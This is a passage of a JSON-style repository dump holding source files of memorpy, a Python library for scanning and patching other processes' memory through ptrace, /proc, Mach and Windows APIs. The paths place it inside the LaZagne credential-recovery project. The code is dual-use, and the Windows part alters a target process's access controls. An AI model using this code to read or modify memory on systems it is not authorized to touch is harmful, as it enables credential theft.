os.O_RDONLY)\n\n    @staticmethod\n    def list():\n        processes=[]\n        for pid in os.listdir(\"/proc\"):\n            try:\n                exe=os.readlink(\"/proc/%s/exe\"%pid)\n                processes.append({\"pid\":int(pid), \"name\":exe})\n            except:\n                pass\n        return processes\n\n    @staticmethod\n    def pid_from_name(name):\n        #quick and dirty, works with all linux not depending on ps output\n        for pid in os.listdir(\"/proc\"):\n            try:\n                int(pid)\n            except:\n                continue\n            pname=\"\"\n            with open(\"/proc/%s/cmdline\"%pid,'r') as f:\n                pname=f.read()\n            if name in pname:\n                return int(pid)\n        raise ProcessException(\"No process with such name: %s\"%name)\n\n    ## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH.\n    def _ptrace(self, attach):\n        op = ctypes.c_int(PTRACE_ATTACH if attach else PTRACE_DETACH)\n        c_pid = c_pid_t(self.pid)\n        null = ctypes.c_void_p()\n\n        if not attach:\n            os.kill(self.pid, signal.SIGSTOP)\n            os.waitpid(self.pid, 0)\n\n        err = c_ptrace(op, c_pid, null, null)\n\n        if not attach:\n            os.kill(self.pid, signal.SIGCONT)\n\n        if err != 0:\n            raise OSError(\"%s: %s\"%(\n                'PTRACE_ATTACH' if attach else 'PTRACE_DETACH',\n                errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN')\n            ))\n\n    def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):\n        \"\"\"\n            optimizations :\n                i for inode==0 (no file mapping)\n                s to avoid scanning shared regions\n                x to avoid scanning x regions\n                r don't scan ronly regions\n        \"\"\"\n        with open(\"/proc/\" + str(self.pid) + \"/maps\", 'r') as maps_file:\n            for line in maps_file:\n                m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\\s+([-rwpsx]+)\\s+([0-9A-Fa-f]+)\\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\\s+([0-9]+)\\s*(.*)', line)\n                if not m:\n                    continue\n                start, end, region_protec, offset, dev, inode, pathname = int(m.group(1), 16), int(m.group(2), 16), m.group(3), m.group(4), m.group(5), int(m.group(6)), m.group(7)\n                if start_offset is not None:\n                    if start < start_offset:\n                        continue\n                if end_offset is not None:\n                    if start > end_offset:\n                        continue\n                chunk=end-start\n                if 'r' in region_protec: # TODO: handle protec parameter\n                    if optimizations:\n                        if 'i' in optimizations and inode != 0:\n                            continue\n                        if 's' in optimizations and 's' in region_protec:\n                            continue\n                        if 'x' in optimizations and 'x' in region_protec:\n                            continue\n                        if 'r' in optimizations and not 'w' in region_protec:\n                            continue\n                    yield start, chunk\n\n    def ptrace_attach(self):\n        if not self.ptrace_started:\n            res=self._ptrace(True)\n            self.ptrace_started=True\n        return res\n\n    def ptrace_detach(self):\n        if self.ptrace_started:\n            res=self._ptrace(False)\n            self.ptrace_started=False\n        return res\n\n    def write_bytes(self, address, data):\n        if not self.ptrace_started:\n            self.ptrace_attach()\n\n        c_pid = c_pid_t(self.pid)\n        null = ctypes.c_void_p()\n\n\n        #we can only copy data per range of 4 or 8 bytes\n        word_size=ctypes.sizeof(ctypes.c_void_p)\n        #mprotect(address, len(data)+(len(data)%word_size), PROT_WRITE|PROT_READ)\n        for i in range(0, len(data), word_size):\n            word=data[i:i+word_size]\n            if len(word)<word_size: #we need to let some data untouched, so let's read at given offset to complete our 8 bytes\n                existing_data=self.read_bytes(int(address)+i+len(word), bytes=(word_size-len(word)))\n                word+=existing_data\n            if sys.byteorder==\"little\":\n                word=word[::-1]\n\n            attempt=0\n            err = c_ptrace(ctypes.c_int(PTRACE_POKEDATA), c_pid, int(address)+i, int(word.encode(\"hex\"), 16))\n            if err != 0:\n                error=errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN')\n                raise OSError(\"Error using PTRACE_POKEDATA: %s\"%error)\n\n        self.ptrace_detach()\n        return True\n\n    def read_bytes(self, address, bytes = 4):\n        if self.read_ptrace:\n            self.ptrace_attach()\n        data=b''\n        if not LARGE_FILE_SUPPORT:\n            mem_file.seek(address)\n            data=mem_file.read(bytes)\n        else:\n            lseek64(self.mem_file, address, os.SEEK_SET)\n            data=b\"\"\n            try:\n                data=os.read(self.mem_file, bytes)\n            except Exception as e:\n                logger.info(\"Error reading %s at %s: %s\"%((bytes),address, e))\n        if self.read_ptrace:\n            self.ptrace_detach()\n        return data\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/LinStructures.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nPROT_NONE = 0\nPROT_READ = 1\nPROT_WRITE = 2\nPROT_EXEC = 4\nPROT_PRIVATE = 8\nPROT_SHARED = 16\n\n#Use some Windows constants for compatibility\nPAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE\nPAGE_EXECUTE_READ = PROT_EXEC | PROT_READ\nPAGE_READONLY = PROT_READ\nPAGE_READWRITE = PROT_READ | PROT_WRITE\n\nPTRACE_POKEDATA = 5 \nPTRACE_ATTACH = 16\nPTRACE_DETACH =17\nPTRACE_CONT = 7\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/Locator.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nimport copy\nimport time\nimport struct\n\nfrom .Address import Address\n\n\nclass Locator(object):\n    \"\"\" \n            take a memoryworker and a type to search\n            then you can feed the locator with values and it will reduce the addresses possibilities\n    \"\"\"\n\n    def __init__(self, mw, type = 'unknown', start = None, end = None):\n        self.mw = mw\n        self.type = type\n        self.last_iteration = {}\n        self.last_value = None\n        self.start = start\n        self.end = end\n\n    def find(self, value, erase_last = True):\n        return self.feed(value, erase_last)\n\n    def feed(self, value, erase_last = True):\n        self.last_value = value\n        new_iter = copy.copy(self.last_iteration)\n        if self.type == 'unknown':\n            all_types = ['uint',\n             'int',\n             'long',\n             'ulong',\n             'float',\n             'double',\n             'short',\n             'ushort']\n        else:\n            all_types = [self.type]\n        for type in all_types:\n            if type not in new_iter:\n                try:\n                    new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ]\n                except struct.error:\n                    new_iter[type] = []\n            else:\n                l = []\n                for address in new_iter[type]:\n                    try:\n                        found = self.mw.process.read(address, type)\n                        if int(found) == int(value):\n                            l.append(Address(address, self.mw.process, type))\n                    except Exception as e:\n                        pass\n\n                new_iter[type] = l\n\n        if erase_last:\n            del self.last_iteration\n            self.last_iteration = new_iter\n        return new_iter\n\n    def get_addresses(self):\n        return self.last_iteration\n\n    def diff(self, erase_last = False):\n        return self.get_modified_addr(erase_last)\n\n    def get_modified_addr(self, erase_last = False):\n        last = self.last_iteration\n        new = self.feed(self.last_value, erase_last=erase_last)\n        ret = {}\n        for type, l in last.iteritems():\n            typeset = set(new[type])\n            for addr in l:\n                if addr not in typeset:\n                    if type not in ret:\n                        ret[type] = []\n                    ret[type].append(addr)\n\n        return ret\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/MemWorker.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\nimport sys\nimport string\nimport re\nimport logging\nimport traceback\nimport binascii\nimport struct\n\nfrom .Process import *\nfrom .utils import *\nfrom .Address import Address\nfrom .BaseProcess import ProcessException\nfrom .structures import *\n\nlogger = logging.getLogger('memorpy')\n\nREGEX_TYPE=type(re.compile(\"^plop$\"))\nclass MemWorker(object):\n\n    def __init__(self, pid=None, name=None, end_offset = None, start_offset = None, debug=True):\n        self.process = Process(name=name, pid=pid, debug=debug)\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, type, value, traceback):\n        self.process.close()\n\n    def Address(self, value, default_type = 'uint'):\n        \"\"\" wrapper to instanciate an Address class for the memworker.process\"\"\"\n        return Address(value, process=self.process, default_type=default_type)\n\n    def umem_replace(self, regex, replace):\n        \"\"\" like search_replace_mem but works with unicode strings \"\"\"\n        regex = re_to_unicode(regex)\n        replace = replace.encode('utf-16-le')\n        return self.mem_replace(re.compile(regex, re.UNICODE), replace)\n\n    def mem_replace(self, regex, replace):\n        \"\"\" search memory for a pattern and replace all found occurrences \"\"\"\n        allWritesSucceed = True\n        for _, start_offset in self.mem_search(regex, ftype='re'):\n            if self.process.write_bytes(start_offset, replace) == 1:\n                logger.debug('Write at offset %s succeeded !' % start_offset)\n            else:\n                allWritesSucceed = False\n                logger.debug('Write at offset %s failed !' % start_offset)\n\n        return allWritesSucceed\n\n    def umem_search(self, regex):\n        \"\"\" like mem_search but works with unicode strings \"\"\"\n        regex = re_to_unicode(regex)\n        for _, i in self.mem_search(str(regex), ftype='re'):\n            yield i\n\n    def group_search(self, group, start_offset = None, end_offset = None):\n        regex = ''\n        for value, type in group:\n            if type == 'f' or type == 'float':\n                f = struct.pack('<f', float(value))\n                regex += '..' + f[2:4]\n            else:\n                raise NotImplementedError('unknown type %s' % type)\n\n        return self.mem_search(regex, ftype='re', start_offset=start_offset, end_offset=end_offset)\n\n    def search_address(self, addr):\n        a = '%08X' % addr\n        logger.debug('searching address %s' % a)\n        regex = ''\n        for i in range(len(a) - 2, -1, -2):\n            regex += binascii.unhexlify(a[i:i + 2])\n\n        for _, a in self.mem_search(re.escape(regex), ftype='re'):\n            yield a\n\n    def parse_re_function(self, b, value, offset):\n        for name, regex in value:\n            for res in regex.finditer(b):\n                yield name, self.Address(offset+res.start(), 'bytes')\n                \"\"\"\n                index = b.find(res)\n                while index != -1:\n                    soffset = offset + index\n                    if soffset not in duplicates_cache:\n                        duplicates_cache.add(soffset)\n                        yield name, self.Address(soffset, 'bytes')\n                    index = b.find(res, index + len(res))\n                \"\"\"\n\n    def parse_float_function(self, b, value, offset):\n        for index in range(0, len(b)):\n            try:\n                structtype, structlen = type_unpack('float')\n                tmpval = struct.unpack(structtype, b[index:index + 4])[0]\n                if int(value) == int(tmpval):\n                    soffset = offset + index\n                    yield self.Address(soffset, 'float')\n            except Exception as e:\n                pass\n\n    def parse_named_groups_function(self, b, value, offset=None):\n        for name, regex in value:\n            for res in regex.finditer(b):\n                yield name, res.groupdict()\n\n    def parse_groups_function(self, b, value, offset=None):\n        for name, regex in value:\n            for res in regex.finditer(b):\n                yield name, res.groups()\n\n    def parse_any_function(self, b, value, offset):\n        index = b.find(value)\n        while index != -1:\n            soffset = offset + index\n            yield self.Address(soffset, 'bytes')\n            index = b.find(value, index + 1)\n\n    def mem_search(self, value, ftype = 'match', protec = PAGE_READWRITE | PAGE_READONLY, optimizations=None, start_offset = None, end_offset = None):\n        \"\"\" \n                iterator returning all indexes where the pattern has been found\n        \"\"\"\n        \n        # pre-compile regex to run faster\n        if ftype == 're' or ftype == 'groups' or ftype == 'ngroups':\n            \n            # value should be an array of regex\n            if type(value) is not list:\n                value = [value]\n            \n            tmp = []\n            for reg in value:\n                if type(reg) is tuple:\n                    name = reg[0]\n                    if type(reg[1]) != REGEX_TYPE:\n                        regex = re.compile(reg[1], re.IGNORECASE)\n                    else:\n                        regex=reg[1]\n                elif type(reg) == REGEX_TYPE:\n                    name = ''\n                    regex=reg\n                else:\n                    name = ''\n                    regex = re.compile(reg, re.IGNORECASE)\n\n\n                tmp.append((name, regex))\n            value = tmp\n\n        elif ftype != 'match' and ftype != 'group' and ftype != 're' and ftype != 'groups' and ftype != 'ngroups' and ftype != 'lambda':\n            structtype, structlen = type_unpack(ftype)\n            value = struct.pack(structtype, value)\n\n        # different functions avoid if statement before parsing the buffer\n        if ftype == 're':\n            func = self.parse_re_function        \n        \n        elif ftype == 'groups':\n            func = self.parse_groups_function\n\n        elif ftype == 'ngroups':\n            func = self.parse_named_groups_function\n\n        elif ftype == 'float':\n            func = self.parse_float_function\n        elif ftype == 'lambda': # use a custm function\n            func = value\n        else:\n            func = self.parse_any_function\n\n        if not self.process.isProcessOpen:\n            raise ProcessException(\"Can't read_bytes, process %s is not open\" % (self.process.pid))\n\n        for offset, chunk_size in self.process.iter_region(start_offset=start_offset, end_offset=end_offset, protec=protec, optimizations=optimizations):\n            b = b''\n            current_offset = offset\n            chunk_read = 0\n            chunk_exc = False\n            while chunk_read < chunk_size:\n                try:\n                    b += self.process.read_bytes(current_offset, chunk_size)\n                except IOError as e:\n                    print(traceback.format_exc())\n                    if e.errno == 13:\n                        raise\n                    else:\n                        logger.warning(e)\n                    chunk_exc=True\n                    break\n                except Exception as e:\n                    print('coucou')\n                    logger.warning(e)\n                    chunk_exc = True\n                    break\n                finally:\n                    current_offset += chunk_size\n                    chunk_read += chunk_size\n\n            if chunk_exc:\n                continue\n\n            if b:\n                if ftype==\"lambda\":\n                    for res in func(b.decode('latin'), offset):\n                        yield res\n                else:\n                    for res in func(b.decode('latin'), value, offset):\n                        yield res\n\n\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/OSXProcess.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nimport copy\nimport struct\nimport utils\nimport platform\nimport ctypes, re, sys\nimport ctypes.util\nimport errno\nimport os\nimport signal\nfrom .BaseProcess import BaseProcess, ProcessException\nfrom .structures import *\nimport logging\nimport subprocess\n\nlogger = logging.getLogger('memorpy')\n\nlibc = ctypes.CDLL(ctypes.util.find_library('c'))\n\nVM_REGION_BASIC_INFO_64    = 9\n\nclass vm_region_basic_info_64(ctypes.Structure):\n    _fields_ = [\n        ('protection',      ctypes.c_uint32),\n        ('max_protection',  ctypes.c_uint32),\n        ('inheritance',     ctypes.c_uint32),\n        ('shared',          ctypes.c_uint32),\n        ('reserved',        ctypes.c_uint32),\n        ('offset',          ctypes.c_ulonglong),\n        ('behavior',        ctypes.c_uint32),\n        ('user_wired_count',ctypes.c_ushort),\n]\n\nVM_REGION_BASIC_INFO_COUNT_64 = ctypes.sizeof(vm_region_basic_info_64) / 4\n\nVM_PROT_READ    = 1\nVM_PROT_WRITE    = 2\nVM_PROT_EXECUTE    = 4\n\nclass OSXProcess(BaseProcess):\n    def __init__(self, pid=None, name=None, debug=True):\n        \"\"\" Create and Open a process object from its pid or from its name \"\"\"\n        super(OSXProcess, self).__init__()\n        if pid is not None:\n            self.pid=pid\n        elif name is not None:\n            self.pid=OSXProcess.pid_from_name(name)\n        else:\n            raise ValueError(\"You need to instanciate process with at least a name or a pid\")\n        self.task=None\n        self.mytask=None\n        self._open()\n\n    def close(self):\n        pass\n\n    def __del__(self):\n        pass\n\n    def _open(self):\n        self.isProcessOpen = True\n        self.task = ctypes.c_uint32()\n        self.mytask=libc.mach_task_self()\n        ret=libc.task_for_pid(self.mytask, ctypes.c_int(self.pid), ctypes.pointer(self.task))\n        if ret!=0:\n            raise ProcessException(\"task_for_pid failed with error code : %s\"%ret)\n\n    @staticmethod\n    def list():\n        #TODO list processes with ctypes\n        processes=[]\n        res=subprocess.check_output(\"ps A\", shell=True)\n        for line in res.split('\\n'):\n            try:\n                tab=line.split()\n                pid=int(tab[0])\n                exe=' '.join(tab[4:])\n                processes.append({\"pid\":int(pid), \"name\":exe})\n            except:\n                pass\n        return processes\n\n    @staticmethod\n    def pid_from_name(name):\n        for dic in OSXProcess.list():\n            if name in dic['exe']:\n                return dic['pid']\n\n\n    def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):\n        \"\"\"\n            optimizations :\n                i for inode==0 (no file mapping)\n                s to avoid scanning shared regions\n                x to avoid scanning x regions\n                r don't scan ronly regions\n        \"\"\"\n        maps = []\n        address = ctypes.c_ulong(0)\n        mapsize = ctypes.c_ulong(0)\n        name    = ctypes.c_uint32(0)\n        count   = ctypes.c_uint32(VM_REGION_BASIC_INFO_COUNT_64)\n        info    = vm_region_basic_info_64()\n\n        while True:\n            r = libc.mach_vm_region(self.task, ctypes.pointer(address),\n                                   ctypes.pointer(mapsize), VM_REGION_BASIC_INFO_64,\n                                   ctypes.pointer(info), ctypes.pointer(count),\n                                   ctypes.pointer(name))\n            # If we get told \"invalid address\", we have crossed into kernel land...\n            if r == 1:\n                break\n\n            if r != 0:\n                raise ProcessException('mach_vm_region failed with error code %s' % r)\n            if start_offset is not None:\n                if address.value < start_offset:\n                    address.value += mapsize.value\n                    continue\n            if end_offset is not None:\n                if address.value > end_offset:\n                    break\n            p = info.protection\n            if p & VM_PROT_EXECUTE:\n                if optimizations and 'x' in optimizations:\n                    address.value += mapsize.value\n                    continue\n            if info.shared:\n                if optimizations and 's' in optimizations:\n                    address.value += mapsize.value\n                    continue\n            if p & VM_PROT_READ:\n                if not (p & VM_PROT_WRITE):\n                    if optimizations and 'r' in optimizations:\n                        address.value += mapsize.value\n                        continue\n                yield address.value, mapsize.value\n            \n            address.value += mapsize.value\n\n\n    def write_bytes(self, address, data):\n        raise NotImplementedError(\"write not implemented on OSX\")\n        return True\n\n    def read_bytes(self, address, bytes = 4):\n        pdata = ctypes.c_void_p(0)\n        data_cnt = ctypes.c_uint32(0)\n        \n        ret = libc.mach_vm_read(self.task, ctypes.c_ulonglong(address), ctypes.c_longlong(bytes), ctypes.pointer(pdata), ctypes.pointer(data_cnt));\n        #if ret==1:\n        #    return \"\"\n        if ret!=0:\n            raise ProcessException(\"mach_vm_read returned : %s\"%ret)\n        buf=ctypes.string_at(pdata.value, data_cnt.value)\n        libc.vm_deallocate(self.mytask, pdata, data_cnt)\n        return buf\n\n\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/Process.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nimport sys\nfrom .BaseProcess import *\nif sys.platform=='win32':\n    from .WinProcess import WinProcess as Process\nelif sys.platform=='darwin':\n    from .OSXProcess import OSXProcess as Process\nelif 'sunos' in sys.platform:\n    from .SunProcess import SunProcess as Process\nelse:\n    from .LinProcess import LinProcess as Process\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/SunProcess.py",
    "content": "# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom .BaseProcess import BaseProcess, ProcessException\nimport struct\nimport os\n\nMA_READ      =    0x04\nMA_WRITE     =    0x02\nMA_EXEC      =    0x01\nMA_SHARED    =    0x08\nMA_ANON      =    0x40\nMA_ISM       =    0x80\nMA_NORESERVE =    0x100\nMA_SHM       =    0x200\nMA_RESERVED1 =    0x400\nMA_OSM       =    0x800\n\nPSINFO_T = struct.Struct(\n    'iiiIIIIIIIILLLLHHLLLLLL16s80siiLLciILLcccchi8sLLIIIIII'\n)\n\nMAP_T = struct.Struct(\n    'LL64sQiiii'\n)\n\nclass SunProcess(BaseProcess):\n    def __init__(self, pid=None, name=None, debug=True, ptrace=None):\n        ''' Create and Open a process object from its pid or from its name '''\n        super(SunProcess, self).__init__()\n        self.pid = int(pid)\n        self.pas = None\n        self.writable = False\n        if name and not self.pid:\n            self.pid = SunProcess.pid_from_name(name)\n        if not name and not self.pid:\n            raise ValueError('You need to instanciate process with at least a name or a pid')\n        try:\n            self._open()\n        except:\n            pass\n\n    def close(self):\n        if self.pas:\n            self.pas.close()\n\n    def __del__(self):\n        self.close()\n\n    def _open(self):\n        try:\n            self.pas = open('/proc/%d/as'%(self.pid), 'w+')\n            self.writable = True\n        except IOError:\n            self.pas = open('/proc/%d/as'%(self.pid))\n\n        self.isProcessOpen = True\n\n    @staticmethod\n    def _name_args(pid):\n        with open('/proc/%d/psinfo'%(int(pid))) as psinfo:\n            items = PSINFO_T.unpack_from(psinfo.read())\n            return items[23].rstrip('\\x00'), items[24].rstrip('\\x00')\n\n    @staticmethod\n    def list():\n        processes=[]\n        for pid in os.listdir('/proc'):\n            try:\n                pid = int(pid)\n                name, _ = SunProcess._name_args(pid)\n                processes.append({\n                    'pid': pid,\n                    'name': name\n                })\n            except:\n                pass\n\n        return processes\n\n    @staticmethod\n    def pid_from_name(name):\n        processes=[]\n        for pid in os.listdir('/proc'):\n            try:\n                pid = int(pid)\n                pname, cmdline = SunProcess._name_args(pid)\n                if name in pname:\n                    return pid\n                if name in cmdline.split(' ', 1)[0]:\n                    return pid\n            except:\n                pass\n\n        raise ProcessException('No process with such name: %s'%name)\n\n    def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):\n        \"\"\"\n            optimizations :\n                i for inode==0 (no file mapping)\n                s to avoid scanning shared regions\n                x to avoid scanning x regions\n                r don't scan ronly regions\n        \"\"\"\n        if not self.isProcessOpen:\n            return\n\n        with open('/proc/%d/map'%(self.pid)) as maps_file:\n            while True:\n                mapping = maps_file.read(MAP_T.size)\n\n                if not mapping:\n                    break\n\n                start, size, name, offset, flags, pagesize, shmid, filler = MAP_T.unpack(mapping)\n\n                if start_offset is not None:\n                    if start < start_offset:\n                        continue\n\n                if end_offset is not None:\n                    if start > end_offset:\n                        continue\n\n                if not flags & MA_READ:\n                    continue\n\n                if optimizations:\n                    if 'i' in optimizations and not flags & MA_ANON:\n                        continue\n                    if 's' in optimizations and flags & MA_SHM:\n                        continue\n                    # in sunos it's quite common when this flag is set, so let's use other letter\n                    if 'X' in optimizations and flags & MA_EXEC:\n                        continue\n                    if 'r' in optimizations and not flags & MA_WRITE:\n                        continue\n\n                yield start, size\n\n    def write_bytes(self, address, data):\n        if not self.pas or not self.writable:\n            return False\n\n        self.pas.seek(address)\n        self.pas.write(data)\n\n        return True\n\n    def read_bytes(self, address, bytes = 4):\n        if not self.pas:\n            return\n\n        self.pas.seek(address)\n        return self.pas.read(bytes)\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/WinProcess.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom ctypes import pointer, sizeof, windll, create_string_buffer, c_ulong, byref, GetLastError, c_bool, WinError\nfrom .structures import *\nimport copy\nimport struct\n# import utils\nimport platform\nfrom .BaseProcess import BaseProcess, ProcessException\n\npsapi       = windll.psapi\nkernel32    = windll.kernel32\nadvapi32    = windll.advapi32\n\nIsWow64Process=None\nif hasattr(kernel32,'IsWow64Process'):\n    IsWow64Process=kernel32.IsWow64Process\n    IsWow64Process.restype = c_bool\n    IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)]\n\nclass WinProcess(BaseProcess):\n\n    def __init__(self, pid=None, name=None, debug=True):\n        \"\"\" Create and Open a process object from its pid or from its name \"\"\"\n        super(WinProcess, self).__init__()\n        if pid:\n            self._open(int(pid), debug=debug)\n            \n        elif name:\n            self._open_from_name(name, debug=debug)\n        else:\n            raise ValueError(\"You need to instanciate process with at least a name or a pid\")\n        \n        if self.is_64bit():\n            si = self.GetNativeSystemInfo()\n            self.max_addr = si.lpMaximumApplicationAddress\n        else:\n            si = self.GetSystemInfo()\n            self.max_addr = 2147418111\n        self.min_addr = si.lpMinimumApplicationAddress\n\n\n    def __del__(self):\n        self.close()\n\n    def is_64bit(self):\n        if not \"64\" in platform.machine():\n            return False\n        iswow64 = c_bool(False)\n        if IsWow64Process is None:\n            return False\n        if not IsWow64Process(self.h_process, byref(iswow64)):\n            raise WinError()\n        return not iswow64.value\n\n    @staticmethod\n    def list():\n        processes=[]\n        arr = c_ulong * 256\n        lpidProcess= arr()\n        cb = sizeof(lpidProcess)\n        cbNeeded = c_ulong()\n        hModule = c_ulong()\n        count = c_ulong()\n        modname = create_string_buffer(100)\n        PROCESS_QUERY_INFORMATION = 0x0400\n        PROCESS_VM_READ = 0x0010\n\n        psapi.EnumProcesses(byref(lpidProcess), cb, byref(cbNeeded))\n        nReturned = cbNeeded.value/sizeof(c_ulong())\n\n        pidProcess = [i for i in lpidProcess][:nReturned]\n        for pid in pidProcess:\n            proc={ \"pid\": int(pid) }\n            hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)\n            if hProcess:\n                psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count))\n                psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname))\n                proc[\"name\"]=modname.value\n                kernel32.CloseHandle(hProcess)\n            processes.append(proc)\n        return processes\n\n    @staticmethod\n    def processes_from_name(processName):\n        processes = []\n        for process in WinProcess.list():\n            if processName == process.get(\"name\", None) or (process.get(\"name\",\"\").lower().endswith(\".exe\") and process.get(\"name\",\"\")[:-4]==processName):\n                processes.append(process)\n\n        if len(processes) > 0:\n            return processes\n\n    @staticmethod\n    def name_from_process(dwProcessId):\n        process_list = WinProcess.list()\n        for process in process_list:\n            if process.pid == dwProcessId:\n                return process.get(\"name\", None)\n\n        return False\n\n    def _open(self, dwProcessId, debug=False):\n        if debug:\n            ppsidOwner              = DWORD()\n            ppsidGroup              = DWORD()\n            ppDacl                  = DWORD()\n            ppSacl                  = DWORD()\n            ppSecurityDescriptor    = SECURITY_DESCRIPTOR()\n\n            process = kernel32.OpenProcess(262144, 0, dwProcessId)\n            advapi32.GetSecurityInfo(kernel32.GetCurrentProcess(), 6, 0, byref(ppsidOwner), byref(ppsidGroup), byref(ppDacl), byref(ppSacl), byref(ppSecurityDescriptor))\n            advapi32.SetSecurityInfo(process, 6, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, None, None, ppSecurityDescriptor.dacl, ppSecurityDescriptor.group)\n            kernel32.CloseHandle(process)\n        self.h_process = kernel32.OpenProcess(2035711, 0, dwProcessId)\n        if self.h_process is not None:\n            self.isProcessOpen = True\n            self.pid = dwProcessId\n            return True\n        return False\n\n    def close(self):\n        if self.h_process is not None:\n            ret = kernel32.CloseHandle(self.h_process) == 1\n            if ret:\n                self.h_process = None\n                self.pid = None\n                self.isProcessOpen = False\n            return ret\n        return False\n\n    def _open_from_name(self, processName, debug=False):\n        processes = self.processes_from_name(processName)\n        if not processes:\n            raise ProcessException(\"can't get pid from name %s\" % processName)\n        elif len(processes)>1:\n            raise ValueError(\"There is multiple processes with name %s. Please select a process from its pid instead\"%processName)\n        if debug:\n            self._open(processes[0][\"pid\"], debug=True)\n        else:\n            self._open(processes[0][\"pid\"], debug=False)\n\n    def GetSystemInfo(self):\n        si = SYSTEM_INFO()\n        kernel32.GetSystemInfo(byref(si))\n        return si\n\n    def GetNativeSystemInfo(self):\n        si = SYSTEM_INFO()\n        kernel32.GetNativeSystemInfo(byref(si))\n        return si\n\n    def VirtualQueryEx(self, lpAddress):\n        mbi = MEMORY_BASIC_INFORMATION()\n        if not VirtualQueryEx(self.h_process, lpAddress, byref(mbi), sizeof(mbi)):\n            raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress)\n        return mbi\n\n    def VirtualQueryEx64(self, lpAddress):\n        mbi = MEMORY_BASIC_INFORMATION64()\n        if not VirtualQueryEx64(self.h_process, lpAddress, byref(mbi), sizeof(mbi)):\n            raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress)\n        return mbi\n\n    def VirtualProtectEx(self, base_address, size, protection):\n        old_protect = c_ulong(0)\n        if not kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)):\n            raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection))\n        return old_protect.value\n\n    def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):\n        \n        offset = start_offset or self.min_addr\n        end_offset = end_offset or self.max_addr\n\n        while True:\n            if offset >= end_offset:\n                break\n            mbi = self.VirtualQueryEx(offset)\n            offset = mbi.BaseAddress\n            chunk = mbi.RegionSize\n            protect = mbi.Protect\n            state = mbi.State\n            #print \"offset: %s, chunk:%s\"%(offset, chunk)\n            if state & MEM_FREE or state & MEM_RESERVE:\n                offset += chunk\n                continue\n            if protec:\n                if not protect & 